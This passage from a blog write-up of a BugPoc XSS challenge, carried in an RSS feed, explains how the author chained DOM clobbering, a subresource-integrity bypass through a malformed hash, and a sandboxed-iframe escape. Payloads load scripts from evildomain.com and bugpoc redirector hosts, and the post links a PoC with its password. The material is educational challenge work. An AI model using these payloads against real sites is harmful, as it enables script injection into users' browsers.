&lt;ul&gt;
&lt;li&gt;The bypass involves changing the value of the hash to get a parsing error which will raise an error but allow the script to load

&lt;ul&gt;
&lt;li&gt;Currently the hash is stored in a global object &lt;code&gt;fileIntegrity.value&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first interesting thing to notice is how the &lt;code&gt;integrity&lt;/code&gt; attribute is being generated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fileIntegrity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fileIntegrity&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rfc&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; https://w3c.github.io/webappsec-subresource-integrity/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;algorithm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;creationtime&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1602687229&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;integrity&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;fileIntegrity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value for the &lt;code&gt;integrity&lt;/code&gt; attribute is stored in the &lt;code&gt;fileIntegrity.value&lt;/code&gt; object which can be accessed globally. The browser works in mysterious ways...because we can use the &lt;code&gt;html&lt;/code&gt; injection we currently have to "clobber" the value and replace with something we can control. 🤯&lt;/p&gt;

&lt;p&gt;Because of how the browser treats elements with id attributes, we can "clobber" the &lt;code&gt;fileIntegrity&lt;/code&gt; object and store arbitrary data in it, which means we can create our invalid sha256 hash which will produce the error we need&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgfuu74bym8b2l9dcmz1u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgfuu74bym8b2l9dcmz1u.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can cause this almost mystical attack by using the following payload&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/frame.html?param=&amp;lt;/title&amp;gt;&amp;lt;base href="https://evildomain.com"&amp;gt;&amp;lt;a id=fileIntegrity&amp;gt;&amp;lt;a id=fileIntegrity name=value href=quack&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That will allow us to completely reset the global object &lt;code&gt;fileIntegrity&lt;/code&gt; and set the arbitrary value we need &lt;code&gt;fileIntegrity.value&lt;/code&gt; so it can cause the parsing error, and the file we have hosted on &lt;code&gt;https://evildomain.com/files/analytics/js/frame-analytics.js&lt;/code&gt; will actually get loaded and it will execute in our context.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fpdvdtfqikjk2rlu33r84.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fpdvdtfqikjk2rlu33r84.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  iframe
&lt;/h3&gt;

&lt;p&gt;I went for it here - I hosted the file and used &lt;code&gt;alert(1)&lt;/code&gt; and when I went to execute....nothing. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fanvf5g38e017g9o2v5yd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fanvf5g38e017g9o2v5yd.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Turns out the &lt;code&gt;sandbox&lt;/code&gt; attribute that was added to the parent iframe prevents us from using any prompts like &lt;code&gt;alert prompt etc&lt;/code&gt; by using this value &lt;code&gt;"allow-scripts allow-same-origin"&lt;/code&gt; it will only allow us to execute scripts 😭  &lt;/p&gt;

&lt;p&gt;On to &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" rel="noopener noreferrer"&gt;MDN&lt;/a&gt; we go again to find the following:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fz2mimin28qcgdwx7xl8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fz2mimin28qcgdwx7xl8q.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is interesting - it shows that the attribute values we currently have can be misused and possibly lead to unexpected behavior. &lt;/p&gt;

&lt;p&gt;My first idea was to remove the attribute itself from the parent iframe by using the &lt;code&gt;script&lt;/code&gt; we currently control, that means that the contents of my &lt;code&gt;frame-analytics.js&lt;/code&gt; would have to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Find the iframe that we are interested in&lt;/li&gt;
&lt;li&gt;Remove sandbox attribute by using &lt;code&gt;Element.removeAttribute(attributeName)&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;Pop my alert and be on my way right?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In short - no, it's not that easy to trick the browser into letting us pop alerts, after you remove the attribute and it's values the browser will still complain that we aren't being safe and will fallback to that same &lt;code&gt;sandbox&lt;/code&gt; and after some google-fu I stumbled onto this beautiful blogpost &lt;a href="https://danieldusek.com/escaping-improperly-sandboxed-iframes.html" rel="noopener noreferrer"&gt;https://danieldusek.com/escaping-improperly-sandboxed-iframes.html&lt;/a&gt; which goes into more detail into what's going on. Since we can run js let's completely remove the "safe" iframe and replace it with a much nicer, trusting one. We'll also use the same trick to get a parsing error for the script we are going to use which will contain our final &lt;code&gt;alert&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// find the iframe with the sandbox&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;og&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="c1"&gt;// create a nicer iframe :yay&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;hack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// append out nicer iframe to the body&lt;/span&gt;
&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hack&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// remove the mean iframe&lt;/span&gt;
&lt;span class="nx"&gt;og&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parentNode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;og&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// create a script tag&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// I used bugpocs mock endpoint &amp;amp; flexible redirector to also load this&lt;/span&gt;
&lt;span class="c1"&gt;// it only contais alert(origin)&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;src&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://gfeku9odpbh4.redir.bugpoc.ninja&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// integrity parser error so our script loads&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;integrity&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256-http://evildomain.com/nah&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// cors settings&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;crossorigin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;anonymous&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// add the script which will pop our alert &lt;/span&gt;
&lt;span class="nx"&gt;hack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contentDocument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This right here does the job, it accomplishes all the requirements above and allows us to execute our alert with no restrictions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fiay9zztpcqnjj54no5ya.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fiay9zztpcqnjj54no5ya.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  BugPoc
&lt;/h3&gt;

&lt;p&gt;Initially this was made using aws, but when solving it, I got this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fiexmqe98m1e9v4jycfik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fiexmqe98m1e9v4jycfik.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And it made me want to do it, so here I'll explain how I achieved this.&lt;/p&gt;

&lt;p&gt;Using &lt;a href="https://bugpoc.com/testers/other/mock" rel="noopener noreferrer"&gt;bugpoc's mock endpoint&lt;/a&gt; I created an endpoint that would load the initial script needed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//mock.bugpoc.ninja/blahhh/m?sig=e186e17016d4331acbb13ee8f399ff0b8d53bdeb4ca6d84f039a499a6e8d240e&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;statusCode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/javascript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;og&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;hack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hack&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;og&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parentNode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;og&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;src&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://blahhh.redir.bugpoc.ninja&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;integrity&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256-http://evildomain.com/nah&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;crossorigin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;anonymous&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;hack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contentDocument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then I used the &lt;a href="https://bugpoc.com/testers/other/redir" rel="noopener noreferrer"&gt;Flexible Redirector&lt;/a&gt; to create a redirect that would load this when it got hit from:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://blahh.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The next step is generating the script that will load the &lt;code&gt;alert(origin)&lt;/code&gt; that will eventually pop without any restrictions, using the fact that generating a parser error will allow us to load any file regardless of it's hash we can load a script with the alert we need. &lt;/p&gt;

&lt;p&gt;Create another endpoint like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//mock.bugpoc.ninja/blahh/m?sig=2ab43ab3a0ed597f35060df005eaab7f38ecc167799ac3b853362fc8624953cc&amp;amp;statusCode=200&amp;amp;&lt;/span&gt;
&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/javascript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And create a flexible redirect to this that will load the script:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Tying all that together you can then create a PoC and add the payload:&lt;/p&gt;

&lt;p&gt;bucpoc exploit: &lt;a href="https://bugpoc.com/poc#bp-jGQnU5oH" rel="noopener noreferrer"&gt;jGQnU5oH&lt;/a&gt; (works on latest Chrome version)&lt;/p&gt;

&lt;p&gt;bugpoc password: SociAlcRAne15&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F72r5m3ny5oarrti9ub6e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F72r5m3ny5oarrti9ub6e.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That creates a PoC entirely using &lt;a href="http://bugpoc.com" rel="noopener noreferrer"&gt;bugpoc.com&lt;/a&gt; which is honestly pretty cool. &lt;/p&gt;

&lt;p&gt;Thanks for the challenge!&lt;/p&gt;

&lt;h3&gt;
  
  
  Resources
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://google.com" rel="noopener noreferrer"&gt;https://google.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.acunetix.com/blog/articles/finding-source-dom-based-xss-vulnerability-acunetix-wvs/" rel="noopener noreferrer"&gt;https://www.acunetix.com/blog/articles/finding-source-dom-based-xss-vulnerability-acunetix-wvs/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://danieldusek.com/escaping-improperly-sandboxed-iframes.html" rel="noopener noreferrer"&gt;https://danieldusek.com/escaping-improperly-sandboxed-iframes.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://report-uri.com/home/sri_hash" rel="noopener noreferrer"&gt;https://report-uri.com/home/sri_hash&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://portswigger.net/research/dom-clobbering-strikes-back" rel="noopener noreferrer"&gt;https://portswigger.net/research/dom-clobbering-strikes-back&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://developer.mozilla.org/" rel="noopener noreferrer"&gt;https://developer.mozilla.org&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://csp-evaluator.withgoogle.com/" rel="noopener noreferrer"&gt;https://csp-evaluator.withgoogle.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94" rel="noopener noreferrer"&gt;https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94&lt;/a&gt;!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Photo Gallery</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Fri, 07 Aug 2020 02:00:47 +0000</pubDate>
